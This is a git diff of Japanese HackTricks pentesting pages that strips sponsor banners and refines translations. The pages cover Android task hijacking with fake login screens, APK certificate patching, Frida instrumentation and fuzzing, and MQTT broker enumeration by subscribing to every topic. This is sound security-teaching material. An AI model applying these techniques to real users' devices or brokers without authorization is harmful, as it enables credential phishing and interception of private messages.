**MDMソリューション**は、**デバイス管理API**を通じてモバイルデバイスの**監視とセキュリティ**を提供します。これらは、モバイルデバイスを効果的に管理および保護するためにAndroidアプリのインストールを必要とします。主な機能には、**パスワードポリシーの強制**、**ストレージ暗号化の義務付け**、および**リモートデータ消去の許可**が含まれ、モバイルデバイスに対する包括的な制御とセキュリティを確保します。 ```java // Example of enforcing a password policy with MDM DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE); @@ -385,12 +377,6 @@ if (dpm.isAdminActive(adminComponent)) { dpm.setPasswordMinimumLength(adminComponent, 8); } ``` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -401,7 +387,7 @@ GCPハッキングを学び、実践する: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## タスク、バックスタックとフォアグラウンドアクティビティ -Androidにおいて、**タスク**はユーザーが特定の作業を完了するために対話するアクティビティのセットであり、**バックスタック**内に整理されています。このスタックは、アクティビティが開かれた時に基づいてアクティビティを順序付け、最も最近のアクティビティが最上部に表示され、**フォアグラウンドアクティビティ**となります。どの瞬間でも、このアクティビティだけが画面に表示され、**フォアグラウンドタスク**の一部となります。 +Androidにおいて、**タスク**はユーザーが特定の作業を完了するために対話するアクティビティのセットであり、**バックスタック**内に整理されています。このスタックはアクティビティが開かれた時に基づいて順序付けられ、最も最近のアクティビティが最上部に表示され、**フォアグラウンドアクティビティ**となります。どの瞬間でも、このアクティビティだけが画面に表示され、**フォアグラウンドタスク**の一部となります。 アクティビティの遷移の簡単な内訳は以下の通りです: * **アクティビティ 1** はフォアグラウンドの唯一のアクティビティとして開始されます。 -* **アクティビティ 2** を起動すると、**アクティビティ 1** はバックスタックに押し出され、**アクティビティ 2** がフォアグラウンドに来ます。 -* **アクティビティ 3** を開始すると、**アクティビティ 1** と **アクティビティ 2** はスタックのさらに後ろに移動し、**アクティビティ 3** が前面に出ます。 +* **アクティビティ 2** を起動すると、**アクティビティ 1** がバックスタックに押し出され、**アクティビティ 2** がフォアグラウンドに来ます。 +* **アクティビティ 3** を開始すると、**アクティビティ 1** と **アクティビティ 2** がスタックのさらに後ろに移動し、**アクティビティ 3** が前面に出ます。 * **アクティビティ 3** を閉じると、**アクティビティ 2** が再びフォアグラウンドに戻り、Androidの効率的なタスクナビゲーションメカニズムを示します。 ![https://developer.android.com/images/fundamentals/diagram\_backstack.png](<../../.gitbook/assets/image (698).png>) @@ -40,7 +32,7 @@ Androidにおいて、**タスク**はユーザーが特定の作業を完了す ### タスクアフィニティと起動モードの概要 -Androidアプリケーションにおいて、**タスクアフィニティ**はアクティビティの好ましいタスクを指定し、通常はアプリのパッケージ名に一致します。この設定は、攻撃を示すための概念実証(PoC)アプリを作成するのに重要です。 +Androidアプリケーションにおいて、**タスクアフィニティ**はアクティビティの好ましいタスクを指定し、通常はアプリのパッケージ名に一致します。この設定は、攻撃を示すための概念実証(PoC)アプリを作成する際に重要です。 ### 起動モード @@ -48,11 +40,11 @@ Androidアプリケーションにおいて、**タスクアフィニティ**は ### 詳細な攻撃手順 -1. **悪意のあるアプリのインストール**: 被害者は攻撃者のアプリをデバイスにインストールします。 -2. **初期アクティベーション**: 被害者は最初に悪意のあるアプリを開き、攻撃の準備をします。 -3. **ターゲットアプリの起動試行**: 被害者はターゲットアプリを開こうとします。 -4. **ハイジャックの実行**: 一致するタスクアフィニティにより、悪意のあるアプリがターゲットアプリの代わりに起動されます。 -5. **欺瞞**: 悪意のあるアプリはターゲットアプリに似た偽のログイン画面を表示し、ユーザーを騙して機密情報を入力させます。 +1. **悪意のあるアプリのインストール**: 被害者が攻撃者のアプリをデバイスにインストールします。 +2. **初期アクティベーション**: 被害者が最初に悪意のあるアプリを開き、攻撃の準備をします。 +3. **ターゲットアプリの起動試行**: 被害者がターゲットアプリを開こうとします。 +4. **ハイジャックの実行**: 一致するタスクアフィニティにより、悪意のあるアプリがターゲットアプリの代わりに起動します。 +5. **欺瞞**: 悪意のあるアプリがターゲットアプリに似た偽のログイン画面を表示し、ユーザーを騙して機密情報を入力させます。 この攻撃の実践的な実装については、GitHubのTask Hijacking Strandhoggリポジトリを参照してください: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task\_Hijacking\_Strandhogg)。 @@ -65,11 +57,6 @@ Androidアプリケーションにおいて、**タスクアフィニティ**は * [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/) * [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index 857b5d053..983c17781 100644 --- a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -13,14 +13,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - 一部のアプリケーションはユーザーがダウンロードした証明書を好まないため、特定のアプリのウェブトラフィックを検査するには、実際にアプリケーションを逆コンパイルし、いくつかの変更を加えて再コンパイルする必要があります。 # 自動 @@ -62,7 +54,7 @@ Learn & practice GCP Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -74,7 +66,7 @@ GCPハッキングを学び、練習する: {% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md index 17f19f274..555c9e492 100644 --- a/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/mobile-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -1,4 +1,4 @@ -# ネイティブライブラリの逆アセンブル +# ネイティブライブラリのリバースエンジニアリング {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -15,35 +15,22 @@ GCPハッキングを学び、実践する:
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** **詳細情報は次を確認してください:** [**https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing\_native\_libs.html) -Androidアプリは、パフォーマンスが重要なタスクのために通常CまたはC++で書かれたネイティブライブラリを使用します。マルウェアの作成者もこれらのライブラリを使用します。なぜなら、DEXバイトコードよりも逆アセンブルが難しいからです。このセクションは、アセンブリ言語を教えるのではなく、Androidに特化した逆アセンブルスキルを強調しています。互換性のためにARMおよびx86バージョンのライブラリが提供されています。 +Androidアプリは、パフォーマンスが重要なタスクのために通常CまたはC++で書かれたネイティブライブラリを使用します。マルウェア作成者もこれらのライブラリを使用します。なぜなら、DEXバイトコードよりもリバースエンジニアリングが難しいからです。このセクションは、アセンブリ言語を教えるのではなく、Androidに特化したリバースエンジニアリングスキルを強調しています。互換性のためにARMおよびx86バージョンのライブラリが提供されています。 ### 重要なポイント: * **Androidアプリのネイティブライブラリ:** -* パフォーマンス集約型のタスクに使用されます。 -* CまたはC++で書かれており、逆アセンブルが難しいです。 +* パフォーマンス集約型タスクに使用されます。 +* CまたはC++で書かれており、リバースエンジニアリングが難しいです。 * Linuxバイナリに似た`.so`(共有オブジェクト)形式で見つかります。 -* マルウェアの作成者は、分析を難しくするためにネイティブコードを好みます。 +* マルウェア作成者は分析を難しくするためにネイティブコードを好みます。 * **Javaネイティブインターフェース(JNI)とAndroid NDK:** -* JNIは、Javaメソッドをネイティブコードで実装できるようにします。 -* NDKは、ネイティブコードを書くためのAndroid特有のツールセットです。 -* JNIとNDKは、Java(またはKotlin)コードとネイティブライブラリを橋渡しします。 +* JNIはJavaメソッドをネイティブコードで実装することを可能にします。 +* NDKはネイティブコードを書くためのAndroid特有のツールセットです。 +* JNIとNDKはJava(またはKotlin)コードとネイティブライブラリを橋渡しします。 * **ライブラリの読み込みと実行:** * ライブラリは`System.loadLibrary`または`System.load`を使用してメモリに読み込まれます。 * JNI\_OnLoadはライブラリの読み込み時に実行されます。 @@ -51,34 +38,23 @@ Androidアプリは、パフォーマンスが重要なタスクのために通 * **Javaメソッドをネイティブ関数にリンクする:** * **動的リンク:** ネイティブライブラリ内の関数名は特定のパターンに一致し、自動リンクを可能にします。 * **静的リンク:** `RegisterNatives`を使用してリンクし、関数名や構造に柔軟性を提供します。 -* **逆アセンブルツールと技術:** -* GhidraやIDA Proなどのツールがネイティブライブラリの分析を助けます。 +* **リバースエンジニアリングツールと技術:** +* GhidraやIDA Proなどのツールはネイティブライブラリの分析に役立ちます。 * `JNIEnv`はJNI関数と相互作用を理解するために重要です。 * ライブラリの読み込み、メソッドのリンク、ネイティブ関数の特定を練習するための演習が提供されています。 ### リソース: * **ARMアセンブリの学習:** -* 基盤となるアーキテクチャを深く理解するために推奨されます。 +* 基礎的なアーキテクチャの理解を深めるために推奨されます。 * Azeria Labsの[ARM Assembly Basics](https://azeria-labs.com/writing-arm-assembly-part-1/)が推奨されます。 -* **JNIとNDKのドキュメント:** +* **JNIおよびNDKドキュメント:** * [OracleのJNI仕様](https://docs.oracle.com/javase/7/docs/technotes/guides/jni/spec/jniTOC.html) -* [AndroidのJNIのヒント](https://developer.android.com/training/articles/perf-jni) +* [AndroidのJNIヒント](https://developer.android.com/training/articles/perf-jni) * [NDKの始め方](https://developer.android.com/ndk/guides/) * **ネイティブライブラリのデバッグ:** * [JEBデコンパイラを使用してAndroidネイティブライブラリをデバッグする](https://medium.com/@shubhamsonani/how-to-debug-android-native-libraries-using-jeb-decompiler-eec681a22cf3) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/mobile-pentesting/android-checklist.md b/mobile-pentesting/android-checklist.md index 0547c2aa0..4ea9ff41b 100644 --- a/mobile-pentesting/android-checklist.md +++ b/mobile-pentesting/android-checklist.md @@ -15,14 +15,6 @@ GCPハッキングを学び、実践する:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### [Androidの基本を学ぶ](android-app-pentesting/#2-android-application-fundamentals) * [ ] [基本](android-app-pentesting/#fundamentals-review) @@ -41,20 +33,20 @@ GCPハッキングを学び、実践する:
- -{% embed url="https://discord.gg/tryhardsecurity" %} +* [ ] [こちらをお読みください](android-app-pentesting/#obfuscating-deobfuscating-code) {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/mobile-pentesting/ios-pentesting-checklist.md b/mobile-pentesting/ios-pentesting-checklist.md index 1d4b9e04b..d4eacecee 100644 --- a/mobile-pentesting/ios-pentesting-checklist.md +++ b/mobile-pentesting/ios-pentesting-checklist.md @@ -3,7 +3,7 @@
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -23,14 +23,6 @@ GCPハッキングを学び、実践する:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### 準備 * [ ] [**iOSの基本**](ios-pentesting/ios-basics.md)を読む @@ -77,7 +69,7 @@ GCPハッキングを学び、実践する:
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -143,7 +129,7 @@ GCPハッキングを学び、実践する:
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\ 今すぐアクセスを取得: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md index a22ad6c67..0bdf01323 100644 --- a/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -15,42 +15,28 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **stealer malwares** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。 - -WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料** でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** - ## Installing Frida -**Jailbroken デバイスに Frida をインストールする手順:** +**JailbrokenデバイスにFridaをインストールする手順:** -1. Cydia/Sileo アプリを開く。 -2. Manage -> Sources -> Edit -> Add に移動する。 -3. URL として "https://build.frida.re" を入力する。 -4. 新しく追加した Frida ソースに移動する。 -5. Frida パッケージをインストールする。 +1. Cydia/Sileoアプリを開く。 +2. Manage -> Sources -> Edit -> Addに移動する。 +3. URLとして「https://build.frida.re」を入力する。 +4. 新しく追加したFridaソースに移動する。 +5. Fridaパッケージをインストールする。 -**Corellium** を使用している場合は、[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases) から Frida リリースをダウンロードする必要があります(`frida-gadget-[yourversion]-ios-universal.dylib.gz`)そして、展開して Frida が要求する dylib の場所にコピーします。例: `/Users/[youruser]/.cache/frida/gadget-ios.dylib` +**Corellium**を使用している場合は、[https://github.com/frida/frida/releases](https://github.com/frida/frida/releases)からFridaリリースをダウンロードする必要があります(`frida-gadget-[yourversion]-ios-universal.dylib.gz`)そして、Fridaが要求するdylibの場所に解凍してコピーします。例: `/Users/[youruser]/.cache/frida/gadget-ios.dylib` -インストール後、PC で **`frida-ls-devices`** コマンドを使用してデバイスが表示されることを確認します(PC がデバイスにアクセスできる必要があります)。\ -また、**`frida-ps -Uia`** を実行して電話の実行中のプロセスを確認します。 +インストール後、PCで**`frida-ls-devices`**コマンドを使用してデバイスが表示されることを確認します(PCがデバイスにアクセスできる必要があります)。\ +また、**`frida-ps -Uia`**を実行して電話の実行中のプロセスを確認します。 -## Frida without Jailbroken device & without patching the app +## JailbrokenデバイスなしでFridaを使用する方法 & アプリをパッチしない方法 -非 Jailbroken デバイスでアプリをパッチせずに Frida を使用する方法についてのブログ投稿を確認してください: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) +アプリをパッチせずに非jailbrokenデバイスでFridaを使用する方法についてのブログ投稿を確認してください: [https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07](https://mrbypass.medium.com/unlocking-potential-exploring-frida-objection-on-non-jailbroken-devices-without-application-ed0367a84f07) ## Frida Client Installation -**frida tools** をインストールする: +**frida toolsをインストールする:** ```bash pip install frida-tools pip install frida @@ -60,7 +46,7 @@ Fridaサーバーがインストールされ、デバイスが起動して接続 frida-ls-devices # List devices frida-ps -Uia # Get running processes ``` -## Frida Trace +## Frida トレース ```bash # Functions ## Trace all functions with the word "log" in their name @@ -211,7 +197,7 @@ Stalker.flush(); // this is important to get all events ## [Fpicker](https://github.com/ttdennis/fpicker) -[**fpicker**](https://github.com/ttdennis/fpicker) は、AFL++ モードやパッシブトレースモードなど、プロセス内ファジングのためのさまざまなファジングモードを提供する **Fridaベースのファジングスイート** です。Fridaがサポートするすべてのプラットフォームで動作するはずです。 +[**fpicker**](https://github.com/ttdennis/fpicker) は、**Fridaベースのファジングスイート**で、AFL++モードやパッシブトレースモードなど、プロセス内ファジングのためのさまざまなファジングモードを提供します。Fridaがサポートするすべてのプラットフォームで動作するはずです。 * [**fpickerをインストール**](https://github.com/ttdennis/fpicker#requirements-and-installation) **& radamsa** ```bash @@ -242,7 +228,7 @@ mkdir -p examples/wg-log/in # For starting inputs # Create at least 1 input for the fuzzer echo Hello World > examples/wg-log/in/0 ``` -* **ファズァースクリプト** (`examples/wg-log/myfuzzer.js`): +* **Fuzzerスクリプト** (`examples/wg-log/myfuzzer.js`): {% code title="examples/wg-log/myfuzzer.js" %} ```javascript @@ -313,7 +299,7 @@ rpc.exports.fuzzer = f; ## Compile from "myfuzzer.js" to "harness.js" frida-compile examples/wg-log/myfuzzer.js -o harness.js ``` -* **`radamsa`**を使用してfuzzer **`fpicker`**を呼び出します: +* **`radamsa`**を使用してfuzzer **`fpicker`**を呼び出します: {% code overflow="wrap" %} ```bash @@ -324,9 +310,9 @@ fpicker -v --fuzzer-mode active -e attach -p -D usb -o example {% endcode %} {% hint style="danger" %} -この場合、私たちは**各ペイロードの後にアプリを再起動したり、状態を復元したりしていません**。したがって、Fridaが**クラッシュ**を見つけた場合、そのペイロードの後の**次の入力**も**アプリをクラッシュさせる可能性があります**(アプリが不安定な状態にあるため)、たとえ**入力がアプリをクラッシュさせるべきでない**場合でもです。 +この場合、私たちは**各ペイロードの後にアプリを再起動したり、状態を復元したりしていません**。したがって、Fridaが**クラッシュ**を見つけた場合、そのペイロードの**次の入力**も**アプリをクラッシュさせる可能性があります**(アプリが不安定な状態にあるため)、たとえ**入力がアプリをクラッシュさせるべきでない場合でも**。 -さらに、FridaはiOSの例外信号にフックするため、**Fridaがクラッシュを見つけた場合**、おそらく**iOSクラッシュレポートは生成されません**。 +さらに、FridaはiOSの例外信号にフックするため、**Fridaがクラッシュを見つけた場合、恐らく**iOSのクラッシュレポートは生成されません**。 これを防ぐために、たとえば、各Fridaクラッシュの後にアプリを再起動することができます。 {% endhint %} @@ -335,7 +321,7 @@ fpicker -v --fuzzer-mode active -e attach -p -D usb -o example **macOSコンソール**または**`log`** CLIを使用してmacOSのログを確認できます。\ また、**`idevicesyslog`**を使用してiOSのログも確認できます。\ -一部のログは情報を省略し、**``**を追加します。すべての情報を表示するには、[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)からいくつかのプロファイルをインストールして、そのプライベート情報を有効にする必要があります。 +一部のログは情報を省略し、**``**を追加します。すべての情報を表示するには、[https://developer.apple.com/bug-reporting/profiles-and-logs/](https://developer.apple.com/bug-reporting/profiles-and-logs/)からプロファイルをインストールして、そのプライベート情報を有効にする必要があります。 何をすべきかわからない場合: ```sh @@ -361,7 +347,7 @@ killall -9 logd * `~/Library/Logs/DiagnosticReports` {% hint style="warning" %} -iOSは同じアプリのクラッシュを25件しか保存しないため、これをクリアする必要があります。さもなければ、iOSはクラッシュの作成を停止します。 +iOSは同じアプリのクラッシュを25件しか保存しないため、これをクリアしないとiOSはクラッシュを作成しなくなります。 {% endhint %} ## Frida Android チュートリアル @@ -374,17 +360,6 @@ iOSは同じアプリのクラッシュを25件しか保存しないため、こ * [https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida](https://www.briskinfosec.com/blogs/blogsdetail/Getting-Started-with-Frida) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**スティーラーマルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -395,8 +370,8 @@ GCPハッキングを学び、練習する: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ## 基本情報 -**ポイント・ツー・ポイントトンネリングプロトコル (PPTP)** は、モバイルデバイスへの**リモートアクセス**に広く使用される方法です。これは、キーの交換に**TCPポート1723**を利用し、**IPプロトコル47**(一般的なルーティングカプセル化、または**GRE**)を使用して、ピア間で送信されるデータを暗号化します。この設定は、インターネット上で安全な通信チャネルを確立するために重要であり、交換されるデータが機密性を保ち、不正アクセスから保護されることを保証します。 +**Point-to-Point Tunneling Protocol (PPTP)** は、**リモートアクセス**のために広く使用されている方法です。これは、キーの交換に**TCPポート1723**を利用し、**IPプロトコル47**(Generic Routing Encapsulation、または**GRE**)を使用して、ピア間で送信されるデータを暗号化します。この設定は、インターネット上で安全な通信チャネルを確立するために重要であり、交換されるデータが機密性を保ち、不正アクセスから保護されることを保証します。 **デフォルトポート**:1723 @@ -55,7 +42,7 @@ GCPハッキングを学び、実践する: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ## 基本情報 -**MQ Telemetry Transport (MQTT)** は、極めてシンプルで軽量な**パブリッシュ/サブスクライブメッセージングプロトコル**として知られています。このプロトコルは、デバイスの能力が限られている環境や、低帯域幅、高遅延、または信頼性の低い接続が特徴のネットワークで動作するように特別に設計されています。MQTTの主な目的は、ネットワーク帯域幅の使用を最小限に抑え、デバイスリソースへの要求を減らすことです。さらに、信頼性のある通信を維持し、一定の配信保証を提供することを目指しています。これらの目標により、MQTTは急成長している**機械間通信 (M2M)** および **モノのインターネット (IoT)** の分野に非常に適しています。ここでは、多数のデバイスを効率的に接続することが不可欠です。さらに、MQTTはモバイルアプリケーションにも非常に有益で、帯域幅とバッテリー寿命を節約することが重要です。 +**MQ Telemetry Transport (MQTT)** は、極めてシンプルで軽量な**パブリッシュ/サブスクライブメッセージングプロトコル**として知られています。このプロトコルは、デバイスの能力が限られている環境や、低帯域幅、高遅延、または信頼性の低い接続が特徴のネットワークで動作するように特別に設計されています。MQTTの主な目的は、ネットワーク帯域幅の使用を最小限に抑え、デバイスリソースへの要求を減らすことです。さらに、信頼性のある通信を維持し、一定の配信保証を提供することを目指しています。これらの目標により、MQTTは急成長している**機械間通信 (M2M)**および**モノのインターネット (IoT)**の分野に非常に適しています。ここでは、多数のデバイスを効率的に接続することが不可欠です。さらに、MQTTはモバイルアプリケーションにも非常に有益であり、帯域幅とバッテリー寿命を節約することが重要です。 **デフォルトポート:** 1883 ``` @@ -40,9 +27,9 @@ PORT STATE SERVICE REASON ``` ## トラフィックの検査 -MQTTブローカーが**CONNECT**パケットを受信すると、**CONNACK**パケットが返送されます。このパケットには接続状態を理解するために重要なリターンコードが含まれています。リターンコードが**0x00**の場合、認証情報が受け入れられたことを意味し、接続が成功したことを示します。一方、リターンコードが**0x05**の場合、認証情報が無効であることを示し、接続を防ぎます。 +MQTTブローカーが**CONNECT**パケットを受信すると、**CONNACK**パケットが返送されます。このパケットには接続状況を理解するために重要なリターンコードが含まれています。リターンコードが**0x00**の場合、認証情報が受け入れられたことを意味し、接続が成功したことを示します。一方、リターンコードが**0x05**の場合、認証情報が無効であることを示し、接続を防ぎます。 -たとえば、ブローカーが無効な認証情報のために接続を拒否した場合、シナリオは次のようになります: +例えば、ブローカーが無効な認証情報のために接続を拒否した場合、シナリオは次のようになります: ``` { "returnCode": "0x05", @@ -63,9 +50,9 @@ MQTTサービスに接続するには、次のものを使用できます: [http > subscribe "#" 1 > subscribe "$SYS/#" ``` -[**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)を使用することもできます。 +あなたはまた、[**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)を使用することができます。 -また、次のものを使用できます: +あなたはまた、使用することができます: ```bash apt-get install mosquitto mosquitto-clients mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic' @@ -108,14 +95,14 @@ from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](http パブリッシュ/サブスクライブモデルは以下で構成されています: -* **Publisher**: ブローカー内の1つ(または複数の)トピックにメッセージを公開します。 -* **Subscriber**: ブローカー内の1つ(または複数の)トピックにサブスクライブし、パブリッシャーから送信されたすべてのメッセージを受信します。 +* **Publisher**: ブローカー内の1つ(または複数)のトピックにメッセージを公開します。 +* **Subscriber**: ブローカー内の1つ(または複数)のトピックにサブスクライブし、パブリッシャーから送信されたすべてのメッセージを受信します。 * **Broker**: パブリッシャーからサブスクライバーへのすべてのメッセージをルーティングします。 * **Topic**: スラッシュ(/)で区切られた1つ以上のレベルで構成されています(例:/smartshouse/livingroom/temperature)。 ### Packet Format -すべてのMQTTパケットには固定ヘッダーが含まれています(図02)。図02: 固定ヘッダー +すべてのMQTTパケットは固定ヘッダーを含みます(図02)。図02: 固定ヘッダー ![https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png) @@ -126,12 +113,12 @@ from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](http * PUBLISH (3): クライアントからサーバー、またはその逆にメッセージを送信するために使用されます。 * PUBACK (4): PUBLISHパケットの確認。 * PUBREC (5): メッセージが受信されたことを保証するメッセージ配信プロトコルの一部。 -* PUBREL (6): メッセージ配信のさらなる保証、メッセージの解放を示します。 +* PUBREL (6): メッセージ配信のさらなる保証、メッセージのリリースを示します。 * PUBCOMP (7): メッセージ配信プロトコルの最終部分、完了を示します。 -* SUBSCRIBE (8): クライアントがトピックからメッセージを受信するリクエスト。 +* SUBSCRIBE (8): クライアントがトピックからメッセージを受信するためのリクエスト。 * SUBACK (9): サーバーのSUBSCRIBEリクエストの確認。 -* UNSUBSCRIBE (10): クライアントがトピックからのメッセージ受信を停止するリクエスト。 -* UNSUBACK (11): UNSUBSCRIBEリクエストに対するサーバーの応答。 +* UNSUBSCRIBE (10): クライアントがトピックからのメッセージ受信を停止するためのリクエスト。 +* UNSUBACK (11): サーバーのUNSUBSCRIBEリクエストへの応答。 * PINGREQ (12): クライアントによって送信されるハートビートメッセージ。 * PINGRESP (13): ハートビートメッセージに対するサーバーの応答。 * DISCONNECT (14): クライアントによって接続を終了するために開始されます。 @@ -141,17 +128,6 @@ from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](http * `port:1883 MQTT` -### [WhiteIntel](https://whiteintel.io) - -
